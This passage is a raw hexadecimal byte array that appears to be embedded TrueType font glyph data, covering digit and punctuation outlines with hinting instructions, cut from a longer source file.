0xa9,0xed,0xe9,0xaa,0x8c,0x6e,0xa4,0x9e,0x5a,0x67,0xbd,0xa0,0x56,0xfe,0xee,0x62, - 0x8c,0x4f,0x1,0x59,0x34,0xfe,0xcd,0xc2,0x1,0x2f,0x1,0x1c,0xcb,0x89,0xbd,0x19, - 0x6f,0x4a,0x8c,0xf4,0xee,0x82,0x55,0xfe,0xe1,0x36,0xc3,0x2a,0x0,0x0,0x1,0x0, - 0xd2,0x0,0x0,0x3,0x2a,0x5,0x55,0x0,0x6,0x0,0x40,0xb1,0x0,0x1,0x2f,0x3c, - 0xb2,0x3,0x2,0x1,0x10,0xdd,0x3c,0xb3,0x6,0x5,0x4,0x2,0x10,0xc0,0xc0,0xc0, - 0x0,0xb4,0x1,0x0,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f, - 0x3c,0xb5,0x1,0x5,0x4,0x2,0x0,0x1,0x11,0x14,0x12,0x39,0x39,0x14,0xb4,0x1, - 0x3,0x6,0x2,0x0,0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x11,0x23,0x11,0x1, - 0x27,0x1,0x3,0x2a,0x9a,0xfe,0xa3,0x61,0x1,0x7a,0x5,0x55,0xfa,0xab,0x4,0xe2, - 0xfe,0x7d,0x5c,0x1,0x9a,0x0,0x1,0x0,0x6f,0x0,0x0,0x4,0x4a,0x5,0x63,0x0, - 0x1f,0x0,0x52,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x1f,0x1e, - 0x2,0x10,0xdd,0x3c,0xb1,0x18,0x1,0x10,0xc4,0xb6,0xf,0x11,0x10,0xf,0x3,0x1e, - 0x2,0x11,0x12,0x17,0x39,0x2f,0xb1,0x9,0x18,0x10,0xcd,0x0,0xb4,0x1,0x0,0x1f, - 0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x11,0x10,0x2f, - 0x3c,0xb3,0x1e,0x3,0x10,0x1f,0x11,0x12,0x39,0x39,0xb1,0x15,0x1,0x3f,0xb1,0xc, - 0x15,0x10,0xcd,0x31,0x30,0x25,0x15,0x21,0x11,0x34,0x36,0x25,0x3e,0x1,0x35,0x34, - 0x26,0x23,0x22,0x6,0x15,0x17,0x23,0x37,0x34,0x36,0x21,0x20,0x16,0x15,0x14,0x6, - 0x5,0x4,0x6,0x1d,0x1,0x4,0x46,0xfc,0x29,0xa8,0x1,0x3b,0xfc,0x69,0x75,0xc5, - 0xf6,0x81,0x2,0x97,0x1,0xcf,0x1,0x37,0x1,0x14,0xbe,0xb1,0xfe,0xd8,0xfe,0xfc, - 0x64,0x82,0x82,0x1,0x1,0xd8,0x86,0x24,0x1c,0x60,0xc9,0xb0,0x69,0x55,0xa2,0x66, - 0x47,0xf5,0xa3,0xb0,0xff,0xf5,0xa5,0x1d,0x1a,0x5c,0xd7,0x2e,0x0,0x0,0x1,0x0, - 0x69,0xff,0xf2,0x4,0x64,0x5,0x63,0x0,0x2e,0x0,0x70,0xb1,0x0,0x1,0x2f,0x3c, - 0xb6,0x24,0x23,0x22,0xd,0xc,0xb,0x1,0x10,0xc4,0xc0,0xc0,0xc0,0xc0,0xc0,0xb6, - 0x2e,0x2d,0x1b,0x18,0x17,0x14,0x1,0x10,0xc4,0xc0,0xc0,0xc4,0xc0,0xc0,0xb3,0x2a, - 0x1b,0x5,0x14,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x23,0x22,0x2f,0x3c,0xb0,0x2,0x2f, - 0xb1,0xd,0xc,0x2f,0x3c,0xb3,0x0,0x2e,0x2d,0x2,0x10,0xdd,0x3c,0x3c,0xb4,0x1, - 0x24,0x22,0x0,0x0,0x13,0x11,0x12,0x39,0x13,0xb3,0x18,0x17,0x2,0x2d,0x11,0x12, - 0x39,0x39,0xb2,0x1,0xc,0x2,0x11,0x12,0x39,0xb3,0x1e,0x0,0x11,0x1,0x3f,0x3f, - 0xb3,0x27,0x1e,0x8,0x11,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x35,0x17,0x20,0x36, - 0x35,0x34,0x26,0x23,0x22,0x6,0x1d,0x1,0x23,0x37,0x34,0x36,0x21,0x20,0x16,0x15, - 0x14,0x6,0x7,0x15,0x1e,0x1,0x15,0x14,0x6,0x21,0x20,0x26,0x3d,0x1,0x33,0x15, - 0x14,0x16,0x21,0x32,0x36,0x35,0x34,0x26,0x2b,0x1,0x1,0xf4,0x34,0x1,0x14,0x7b, - 0x6b,0xf2,0xdf,0x69,0x92,0x1,0xb6,0x1,0x25,0x1,0x2d,0xc1,0x5c,0x8a,0x9b,0x65, - 0xc5,0xfe,0xd5,0xfe,0xbd,0xc8,0x96,0x76,0x1,0x14,0xd6,0x72,0x6c,0xb5,0x82,0x2, - 0x79,0x83,0x1,0x46,0x9c,0xb4,0x50,0x4e,0xa6,0x3b,0x36,0xea,0x91,0x87,0xd3,0xb3, - 0x84,0x11,0x7,0x15,0x7e,0xab,0xee,0x9c,0x90,0xe9,0x51,0x4f,0xae,0x4b,0x5f,0xb4, - 0x97,0x5b,0x0,0x0,0x2,0x0,0x36,0x0,0x0,0x4,0x98,0x5,0x55,0x0,0xa,0x0, - 0xe,0x0,0x68,0xb1,0x9,0x8,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f, - 0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb5,0xb,0xc,0x7,0x6,0x3,0x1,0x10,0x17,0xdd, - 0x3c,0xb5,0xe,0xd,0xa,0x3,0x6,0x8,0x11,0x12,0x17,0x39,0x0,0xb4,0x1,0x0, - 0xa,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0xb4,0x8,0x7, - 0x4,0x3,0x3,0x17,0x2f,0x3c,0xb5,0xb,0xe,0x2,0x1,0x3,0x3,0x10,0x17,0xdd, - 0x3c,0xb4,0x1,0x9,0x2,0x0,0x1,0x11,0x14,0x12,0x39,0x14,0xb5,0x1,0xd,0xc, - 0xa,0x2,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0x31,0x30,0x1,0x11,0x33,0x15,0x23, - 0x11,0x23,0x11,0x21,0x35,0x1,0x13,0x11,0x23,0x1,0x3,0xcc,0xcc,0xcc,0x9a,0xfd, - 0x4,0x2,0xa8,0x54,0x3,0xfd,0x86,0x5,0x55,0xfc,0x68,0x82,0xfe,0xc5,0x1,0x3b, - 0xb5,0x3,0x65,0xfc,0x68,0x3,0x35,0xfc,0xcb,0x0,0x1,0x0,0x85,0xff,0xf2,0x4, - 0x6d,0x5,0x55,0x0,0x1e,0x0,0x6e,0xb1,0x1e,0x1d,0x2f,0x3c,0xb1,0x0,0x1,0x2f, - 0x3c,0xb2,0x10,0xf,0x1d,0x10,0xc0,0xc0,0xb1,0x9,0x1,0x10,0xc4,0xb7,0x1c,0x11, - 0x4,0x3,0x2,0x5,0x1,0x1d,0x11,0x12,0x17,0x39,0xb1,0x17,0x9,0x10,0xcd,0x0, - 0xb7,0x1,0x2,0x1,0x1,0x0,0x1e,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, - 0x13,0xb1,0x11,0x10,0x2f,0x3c,0xb1,0x1d,0x1c,0x2f,0x3c,0xb4,0x1,0xf,0x10,0x0, - 0x0,0x13,0x11,0x12,0x39,0x13,0xb5,0x1,0x4,0x3,0x2,0x0,0x1c,0x11,0x14,0x12, - 0x39,0x39,0x14,0xb3,0xc,0x0,0x6,0x2,0x3f,0x3f,0xb3,0x1a,0x6,0x14,0xc,0x10, - 0xcd,0x10,0xcd,0x31,0x30,0x1,0x15,0x21,0x3,0x33,0x36,0x21,0x20,0x16,0x11,0x10, - 0x6,0x21,0x20,0x26,0x3d,0x1,0x33,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x23, - 0x20,0x7,0x23,0x11,0x4,0x35,0xfd,0x2,0x7,0x3,0x50,0x1,0x17,0x1,0xe,0xc5, - 0xbb,0xfe,0xcf,0xfe,0xd1,0xcd,0x91,0x73,0xec,0xf7,0x6e,0x7b,0xe0,0xfe,0xc8,0x1e, - 0x8b,0x5,0x55,0x82,0xfe,0x62,0x71,0xba,0xfe,0xff,0xfe,0xc6,0xbf,0x8e,0xd2,0x34, - 0xb9,0x59,0x72,0xff,0xce,0x71,0x83,0x2,0xb4,0x0,0x2,0x0,0x63,0xff,0xf2,0x4, - 0x5e,0x5,0x63,0x0,0x1e,0x0,0x2a,0x0,0x67,0xb1,0xa,0x9,0x2f,0x3c,0xb3,0x18, - 0x17,0x16,0x9,0x10,0xc0,0xc4,0xc0,0xb5,0x1e,0x10,0xb,0x1,0x0,0x9,0x10,0xc0, - 0xc0,0xc0,0xc4,0xc4,0xb5,0x28,0x10,0x22,0x17,0x3,0x1e,0x10,0xcd,0x10,0xcd,0x10, - 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xd,0xd,0x1,0x1,0x18,0x16,0xd,0xb, - 0xa,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0xb4, - 0x1,0x9,0x1,0x2,0x0,0x13,0x11,0x12,0x39,0x13,0xb3,0x1b,0x1,0x13,0x0,0x3f, - 0x3f,0xb5,0x25,0x13,0x1f,0xd,0x6,0x1b,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30, - 0x1,0x23,0x36,0x35,0x34,0x26,0x23,0x20,0x6,0x15,0x11,0x33,0x36,0x21,0x20,0x16, - 0x15,0x10,0x6,0x21,0x20,0x26,0x11,0x27,0x37,0x10,0x36,0x21,0x20,0x16,0x15,0x1, - 0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x4,0x3a,0x96,0x4,0x6e, - 0xaa,0xfe,0xfe,0x89,0x3,0x57,0x1,0x32,0x1,0x13,0xba,0xc2,0xfe,0xcb,0xfe,0xc5, - 0xc6,0x3,0x4,0xbc,0x1,0x22,0x1,0x25,0xd1,0xfe,0x25,0xe1,0x89,0x78,0xf7,0xf0, - 0x76,0x74,0x3,0xfc,0x25,0xc,0x6d,0x47,0x58,0xa5,0xfe,0xea,0x7a,0xa8,0xf8,0xfe, - 0xf3,0xa9,0xb9,0x1,0x27,0xf8,0xdc,0x1,0xe,0xaf,0x82,0xb6,0xfe,0x9b,0x5a,0x94, - 0xf0,0x74,0x5e,0xc2,0xd0,0x62,0x0,0x0,0x1,0x0,0x62,0x0,0x0,0x4,0x45,0x5, - 0x55,0x0,0x6,0x0,0x39,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb5, - 0x4,0x3,0x2,0x3,0x1,0x5,0x11,0x12,0x17,0x39,0x0,0xb7,0x1,0x5,0x4,0x1, - 0x0,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f, - 0x3c,0xb4,0x1,0x1,0x4,0x2,0x0,0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x15, - 0x1,0x23,0x1,0x21,0x35,0x4,0x45,0xfd,0x6b,0xb7,0x2,0xcc,0xfc,0x9d,0x5,0x55, - 0xc4,0xfb,0x6f,0x4,0xd3,0x82,0x0,0x0,0x3,0x0,0x68,0xff,0xf2,0x4,0x63,0x5, - 0x63,0x0,0x19,0x0,0x25,0x0,0x33,0x0,0x57,0x40,0xa,0x2e,0x2c,0x17,0x11,0xe, - 0xd,0xa,0x4,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e,0xb7, - 0x31,0x4,0x29,0xa,0x23,0x17,0x1d,0x11,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd, - 0x0,0x40,0x11,0x26,0x20,0x1,0x1,0x2e,0x2c,0x26,0x20,0xe,0xd,0x1,0x0,0x8, - 0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0xb3,0x14, - 0x1,0x7,0x0,0x3f,0x3f,0xb3,0x2d,0x7,0x1a,0x14,0x10,0xcd,0x10,0xcd,0x31,0x30, - 0x1,0x15,0x1e,0x1,0x15,0x14,0x6,0x21,0x20,0x26,0x35,0x34,0x36,0x37,0x35,0x2e, - 0x1,0x35,0x34,0x36,0x21,0x20,0x16,0x15,0x14,0x6,0x1,0x22,0x6,0x15,0x14,0x16, - 0x21,0x32,0x36,0x35,0x34,0x26,0x3,0x22,0x6,0x15,0x14,0x16,0x33,0x17,0x37,0x3e, - 0x1,0x35,0x34,0x26,0x3,0x7a,0x90,0x59,0xbc,0xfe,0xd1,0xfe,0xb3,0xc3,0x5a,0x93, - 0x87,0x54,0xb8,0x1,0x26,0x1,0x44,0xb8,0x57,0xfe,0x5d,0xe9,0x64,0x7c,0x1,0x17, - 0xba,0x67,0x71,0xf4,0xed,0x74,0x55,0x8a,0xc1,0x80,0x6f,0x46,0x82,0x2,0xc5,0x3, - 0x1d,0x79,0xa5,0xfa,0x9b,0x8f,0xf4,0xb3,0x80,0x1c,0x3,0x1d,0x79,0xa6,0xd9,0x87, - 0x83,0xe8,0x9c,0x7a,0x1,0xff,0x49,0xa9,0xa5,0x49,0x5c,0xa5,0x99,0x46,0xfd,0x9e, - 0x54,0xac,0xa3,0x65,0x3,0x8,0xe,0x6c,0x9e,0x99,0x52,0x0,0x2,0x0,0x65,0xff, - 0xf2,0x4,0x65,0x5,0x63,0x0,0x1e,0x0,0x2a,0x0,0x59,0xb1,0x9,0x8,0x2f,0x3c, - 0xb5,0x1d,0xf,0xa,0x1,0x0,0x8,0x10,0xc0,0xc0,0xc0,0xc4,0xc4,0xb3,0x17,0x16, - 0x15,0x8,0x10,0xc0,0xc4,0xc0,0xb5,0x28,0x16,0x22,0xf,0x2,0x1d,0x10,0xcd,0x10, - 0xcd,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xc,0xc,0x1,0x17,0x15,0xc, - 0xa,0x9,0x8,0x6,0x2,0x0,0x1,0x11,0x14,0x12,0x17,0x39,0x14,0x2f,0xb3,0x1a, - 0x0,0x12,0x1,0x3f,0x3f,0xb5,0x25,0xc,0x1f,0x12,0x5,0x1a,0x10,0xcd,0x10,0xcd, - 0x10,0xcd,0x31,0x30,0x13,0x33,0x7,0x14,0x16,0x33,0x20,0x36,0x3d,0x1,0x23,0x6, - 0x21,0x20,0x26,0x35,0x10,0x36,0x21,0x20,0x16,0x11,0x13,0x7,0x10,0x6,0x21,0x20, - 0x26,0x35,0x34,0x1,0x22,0x6,0x15,0x14,0x16,0x33,0x20,0x36,0x35,0x34,0x26,0x68, - 0x91,0x1,0x78,0xe2,0x1,0x2,0x72,0x3,0x50,0xfe,0xb6,0xfe,0xfc,0xb4,0xbe,0x1, - 0x30,0x1,0x38,0xca,0x4,0x3,0xc6,0xfe,0xcc,0xfe,0xd1,0xd4,0x1,0xec,0xdf,0x6e, - 0x6c,0xcc,0x1,0x9,0x80,0x76,0x1,0x5c,0x28,0x7e,0x42,0x65,0xe5,0xcd,0x7a,0xa6, - 0xef,0x1,0x12,0xab,0xb2,0xfe,0xec,0xfe,0x91,0x8d,0xfe,0xfa,0xa9,0x7d,0xb4,0x10, - 0x3,0xae,0x61,0xc5,0xc1,0x67,0x53,0xab,0xe5,0x6b,0x0,0x0,0x2,0x0,0x5d,0xff, - 0xf2,0x4,0x8b,0x5,0x63,0x0,0xd,0x0,0x19,0x0,0x21,0xb1,0xb,0x3,0x2f,0x2f, - 0xb3,0x17,0x3,0x11,0xb,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x7,0x0,0x0,0x1,0x3f, - 0x3f,0xb3,0x14,0x7,0xe,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x20,0x16,0x11, - 0x10,0x7,0x6,0x21,0x20,0x27,0x26,0x11,0x10,0x36,0x5,0x20,0x6,0x11,0x10,0x16, - 0x21,0x20,0x36,0x11,0x10,0x26,0x2,0x74,0x1,0x7b,0x9c,0x4a,0x5f,0xfe,0x92,0xfe, - 0x92,0x5f,0x4a,0xa4,0x1,0x73,0xfe,0xe1,0x65,0x65,0x1,0x1f,0x1,0x1f,0x65,0x65, - 0x5,0x63,0xcb,0xfe,0x13,0xfe,0x2a,0x64,0x7f,0x7f,0x64,0x2,0x7,0x1,0xc1,0xc6, - 0x82,0x94,0xfe,0x5e,0xfe,0x5d,0x94,0x94,0x1,0xa3,0x1,0xa2,0x94,0x0,0x1,0x0, - 0x5f,0x0,0x0,0x4,0xa5,0x5,0x63,0x0,0x25,0x0,0xa7,0xb1,0x11,0x10,0x2f,0x3c, - 0xb4,0x13,0x12,0xf,0xe,0x3,0x17,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xa, - 0x9,0x2f,0x3c,0xb5,0x25,0x24,0x3,0x2,0x3,0xe,0x10,0x17,0xdd,0x3c,0xb3,0x14, - 0x14,0xe,0x10,0x11,0x12,0x39,0x2f,0xb6,0x15,0x8,0x7,0x5,0x4,0x2,0xe,0x11, - 0x12,0x17,0x39,0xb3,0x4,0x4,0x1,0x2,0x11,0x12,0x39,0x2f,0xb6,0x1a,0x1c,0x1b, - 0x1a,0x3,0x9,0x1,0x11,0x12,0x17,0x39,0x2f,0xb1,0xb,0xe,0x10,0xc0,0x0,0xb1, - 0xb,0xa,0x2f,0x3c,0xb4,0x0,0x25,0x12,0x11,0x3,0x17,0x2f,0x3c,0xb1,0x1c,0x1b, - 0x2f,0x3c,0xb5,0x10,0xf,0x2,0x1,0x3,0x11,0x10,0x17,0xdd,0x3c,0xb7,0x9,0x8, - 0x7,0x5,0x3,0x5,0x1,0xa,0x11,0x12,0x17,0x39,0xb5,0x1,0x24,0x13,0x2,0x0, - 0x11,0x11,0x14,0x12,0x39,0x39,0x14,0xb4,0x1,0x15,0x1,0x0,0x1b,0x11,0x14,0x12, - 0x39,0x14,0xb1,0xe,0xb,0x10,0xc0,0xb1,0x17,0x1,0x3f,0xb1,0x20,0x17,0x10,0xcd, - 0x31,0x30,0x1,0x15,0x21,0x15,0x17,0x7,0x6,0x7,0x15,0x25,0x15,0x21,0x35,0x36, - 0x11,0x35,0x23,0x35,0x33,0x35,0x27,0x37,0x12,0x21,0x20,0x16,0x15,0x7,0x23,0x35, - 0x34,0x26,0x23,0x22,0x6,0x15,0x7,0x11,0x3,0x25,0xfe,0x7d,0x1,0xf,0x12,0x52, - 0x3,0x75,0xfb,0xda,0x89,0xa9,0xa9,0x2,0x7,0x25,0x1,0x8c,0x1,0xa,0xc5,0x2, - 0x94,0x64,0xbb,0xcc,0x69,0x1,0x2,0x98,0x82,0x40,0x6d,0x7a,0x3d,0x3a,0x3,0xa, - 0x7f,0x75,0x1e,0x1,0x12,0x71,0x82,0xd0,0x79,0x71,0x1,0x11,0x96,0xca,0x46,0x22, - 0xa9,0x59,0x59,0xac,0x32,0xfe,0xee,0x0,0x3,0x0,0x37,0xff,0x66,0x4,0xb1,0x5, - 0xd4,0x0,0x2a,0x0,0x33,0x0,0x3c,0x0,0xa2,0x40,0x9,0x2b,0x33,0x1e,0x1d,0x17, - 0x16,0xb,0xa,0x7,0x17,0x2f,0x3c,0x40,0xa,0x34,0x3c,0x0,0x20,0x1f,0x9,0x8, - 0x1,0x7,0xa,0x10,0x17,0xdd,0x3c,0xb4,0x1a,0x15,0x11,0x10,0xa,0x10,0xc0,0xc0, - 0xc0,0xc4,0xb6,0x2a,0x26,0x25,0x24,0x7,0x4,0x1,0x10,0xc4,0xc0,0xc4,0xc0,0xc0, - 0xc0,0xb3,0x38,0x4,0x2f,0x1a,0x10,0xcd,0x10,0xcd,0x0,0xb1,0xa,0x9,0x2f,0x3c, - 0xb1,0x11,0x10,0x2f,0x3c,0xb1,0x26,0x25,0x2f,0x3c,0xb1,0x1f,0x1e,0x2f,0x3c,0xb5, - 0x1,0xb,0x8,0x0,0x0,0x9,0x11,0x14,0x12,0x39,0x39,0x14,0x40,0x9,0x1,0x34, - 0x16,0x15,0x7,0x4,0x10,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x40,0x9,0x1, - 0x3c,0x33,0x17,0x1,0x4,0x2,0x0,0x10,0x11,0x14,0x12,0x17,0x39,0x14,0x40,0xa, - 0x1,0x2b,0x2a,0x20,0x1d,0x0,0x5,0x1,0x0,0x25,0x11,0x14,0x12,0x17,0x39,0x14, - 0xb1,0xc,0x0,0x3f,0xb1,0x36,0xc,0x10,0xcd,0x31,0x30,0x1,0x11,0x20,0x16,0x15, - 0x14,0x6,0x21,0x7,0x15,0x23,0x35,0x23,0x22,0x27,0x24,0x11,0x33,0x15,0x14,0x16, - 0x33,0x17,0x11,0x20,0x26,0x35,0x34,0x36,0x21,0x35,0x33,0x15,0x17,0x32,0x16,0x15, - 0x7,0x23,0x27,0x34,0x26,0x23,0x27,0x23,0x22,0x6,0x15,0x14,0x16,0x33,0x17,0x13, - 0x16,0x17,0x4,0x11,0x34,0x26,0x23,0x27,0x2,0xb0,0x1,0x30,0xd1,0xc7,0xfe,0xf2, - 0x2c,0x74,0x63,0x4c,0x32,0xfe,0xdc,0x97,0x69,0xd5,0x30,0xfe,0xcb,0xc2,0xcb,0x1, - 0x2c,0x74,0x39,0xfb,0xae,0x1,0x94,0x1,0x61,0xb2,0xad,0x2f,0xc1,0x74,0x77,0xc9, - 0x24,0x74,0x25,0x12,0x1,0x37,0x7d,0xcc,0x25,0x4,0xd1,0xfe,0x26,0x98,0xde,0xdd, - 0xa3,0x1,0x9a,0x9a,0x4,0x17,0x1,0x8e,0x19,0xb7,0x5b,0x2,0x1,0xf9,0x8e,0xe3, - 0xdb,0x94,0x7f,0x7f,0x1,0x8b,0xc7,0x2b,0x22,0x8c,0x4c,0x2,0x53,0x88,0xa1,0x5f, - 0x1,0xfd,0x85,0x6,0x2,0x19,0x1,0x26,0x96,0x5b,0x1,0x0,0x2,0x0,0xb7,0xff, - 0xf9,0x3,0xf9,0x4,0xe3,0x0,0x19,0x0,0x20,0x0,0x68,0xb6,0x1a,0x20,0x11,0x10, - 0xb,0xa,0x5,0x17,0x2f,0x3c,0xb7,0x0,0x13,0x12,0x9,0x8,0x1,0x5,0xa,0x10, - 0x17,0xdd,0x3c,0xb1,0xe,0xa,0x10,0xc4,0xb5,0x17,0x16,0x15,0x5,0x4,0x1,0x10, - 0xc0,0xc0,0xc4,0xc0,0xc0,0xb1,0x1d,0xe,0x10,0xcd,0x0,0xb1,0xa,0x9,0x2f,0x3c, - 0xb1,0x5,0x4,0x2f,0x3c,0xb1,0x17,0x16,0x2f,0x3c,0xb1,0x12,0x11,0x2f,0x3c,0x40, - 0x9,0x1,0x20,0xb,0x8,0x1,0x4,0x4,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13, - 0x40,0x9,0x1,0x1a,0x13,0x10,0x0,0x4,0x11,0x2,0x0,0x13,0x11,0x12,0x17,0x39, - 0x13,0x31,0x30,0x1,0x11,0x32,0x35,0x37,0x33,0x7,0x10,0x21,0x15,0x23,0x35,0x22, - 0x26,0x11,0x10,0x21,0x35,0x33,0x15,0x20,0x11,0x7,0x23,0x34,0x26,0x27,0xe,0x1, - 0x15,0x10,0x16,0x17,0x2,0x96,0xd6,0x1,0x8c,0x1,0xfe,0x9e,0x74,0xd2,0x99,0x1, - 0x6b,0x74,0x1,0x50,0x1,0x8c,0x47,0xf0,0x86,0x52,0x4e,0x8a,0x3,0xed,0xfd,0x12, - 0xbd,0x35,0x25,0xfe,0xbf,0x92,0x92,0xdb,0x1,0x2c,0x1,0xcc,0x85,0x85,0xfe,0xea, - 0x2c,0x7f,0x4c,0x9,0xa,0x81,0xc9,0xfe,0xff,0x93,0x7,0x0,0x1,0x0,0x92,0xfe, - 0xec,0x4,0x57,0x5,0xee,0x0,0x1d,0x0,0x5d,0x40,0xc,0x1d,0x1c,0x1b,0x16,0x15, - 0xf,0xe,0xd,0xc,0x7,0x6,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x0,0xb4,0x1c,0x1b,0xf,0xe,0x3,0x17,0x2f,0x3c,0xb5,0x0,0x1d, - 0xd,0xc,0x3,0xe,0x10,0x17,0xdd,0x3c,0xb5,0x1,0x16,0x15,0x13,0x1,0x0,0x13, - 0x10,0xc4,0xc0,0xc0,0x13,0x40,0xb,0x4,0x1,0x1,0x7,0x6,0x4,0x3,0x0,0x0, - 0x3,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0xb3,0x18,0x13,0x9,0x4, - 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x3,0xe,0x1,0x23,0x22,0x27,0x37,0x16,0x33, - 0x32,0x37,0x13,0x23,0x37,0x33,0x37,0x3e,0x1,0x33,0x32,0x17,0x7,0x26,0x23,0x22, - 0xf,0x1,0x33,0x7,0x2,0xf0,0x9f,0x1e,0x86,0xa7,0x35,0x3f,0x15,0x43,0x26,0x92, - 0x1c,0xa1,0xbc,0x15,0xbb,0x25,0x1e,0x88,0xae,0x21,0x4a,0x15,0x3f,0x2a,0x92,0x1c, - 0x27,0xfd,0x15,0x3,0x8c,0xfc,0x7c,0xaa,0x72,0x7,0x76,0x9,0x9c,0x3,0x90,0x74, - 0xd2,0xaa,0x72,0x4,0x76,0x6,0x9b,0xdf,0x74,0x0,0x1,0x0,0x45,0x0,0x0,0x4, - 0xa3,0x5,0x55,0x0,0x17,0x0,0x91,0xb4,0x10,0xf,0xc,0xb,0x3,0x17,0x2f,0x3c, - 0xb1,0xa,0x9,0x2f,0x3c,0xb4,0x6,0x5,0x2,0x1,0x3,0x17,0x2f,0x3c,0xb2,0x8, - 0x7,0x9,0x10,0xdd,0x3c,0xb1,0x12,0xb,0x10,0xc0,0xb1,0x17,0x1,0x10,0xc0,0xb6, - 0x13,0x11,0xe,0xd,0x4,0x9,0xb,0x11,0x12,0x17,0x39,0xb3,0x15,0x14,0x7,0x9, - 0x11,0x12,0x39,0x39,0xb6,0x16,0x4,0x3,0x0,0x4,0x1,0x7,0x11,0x12,0x17,0x39, - 0x0,0xb6,0x1,0x17,0x16,0x13,0x12,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13, - 0xb1,0x9,0x8,0x2f,0x3c,0xb4,0xd,0xc,0x5,0x4,0x3,0x17,0x2f,0x3c,0xb4,0x0, - 0x11,0x10,0x1,0x3,0x17,0x2f,0x3c,0xb5,0xf,0xe,0x3,0x2,0x3,0x1,0x10,0x17, - 0xdd,0x3c,0xb5,0xb,0xa,0x7,0x6,0x3,0x4,0x10,0x17,0xdd,0x3c,0xb3,0x15,0x14, - 0x2,0x4,0x11,0x12,0x39,0x39,0x31,0x30,0x1,0x33,0x15,0x21,0x7,0x21,0x15,0x21, - 0x11,0x23,0x11,0x21,0x35,0x21,0x27,0x23,0x35,0x33,0x1,0x33,0x1,0x33,0x1,0x33, - 0x3,0x98,0xba,0xfe,0xf8,0x7d,0x1,0x85,0xfe,0x68,0x9a,0xfe,0x76,0x1,0x77,0x79, - 0xfe,0xb2,0xfe,0xfd,0xb3,0x1,0x78,0x4,0x1,0x78,0xb7,0x3,0xa6,0x82,0xc9,0x82, - 0xfe,0x27,0x1,0xd9,0x82,0xc9,0x82,0x1,0xaf,0xfd,0x82,0x2,0x7e,0x0,0x1,0x0, - 0x7b,0x0,0x0,0x1,0x15,0x0,0xb8,0x0,0x3,0x0,0x1f,0xb1,0x3,0x2,0x2f,0x3c, - 0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x3,0x0,0x0,0x13,0x10, - 0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23,0x35,0x1,0x15, - 0x9a,0xb8,0xb8,0xb8,0x0,0x0,0x2,0x0,0x7b,0x0,0x0,0x1,0x15,0x3,0xbc,0x0, - 0x3,0x0,0x7,0x0,0x38,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2, - 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x0,0x40,0xb, - 0x1,0x6,0x5,0x2,0x4,0x7,0x0,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10, - 0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x25,0x15,0x23, - 0x35,0x13,0x15,0x23,0x35,0x1,0x15,0x9a,0x9a,0x9a,0xb8,0xb8,0xb8,0x3,0x4,0xb8, - 0xb8,0x0,0x1,0x0,0x7b,0x1,0x7e,0x1,0x15,0x2,0x36,0x0,0x3,0x0,0x1b,0xb1, - 0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb1,0x2,0x1,0x2f, - 0x3c,0xb2,0x0,0x3,0x1,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x1,0x15, - 0x9a,0x2,0x36,0xb8,0xb8,0x0,0x3,0x0,0x7b,0x0,0x0,0x4,0x4c,0x0,0xb8,0x0, - 0x3,0x0,0x7,0x0,0xb,0x0,0x4e,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f, - 0x3c,0xb1,0x8,0x9,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5, - 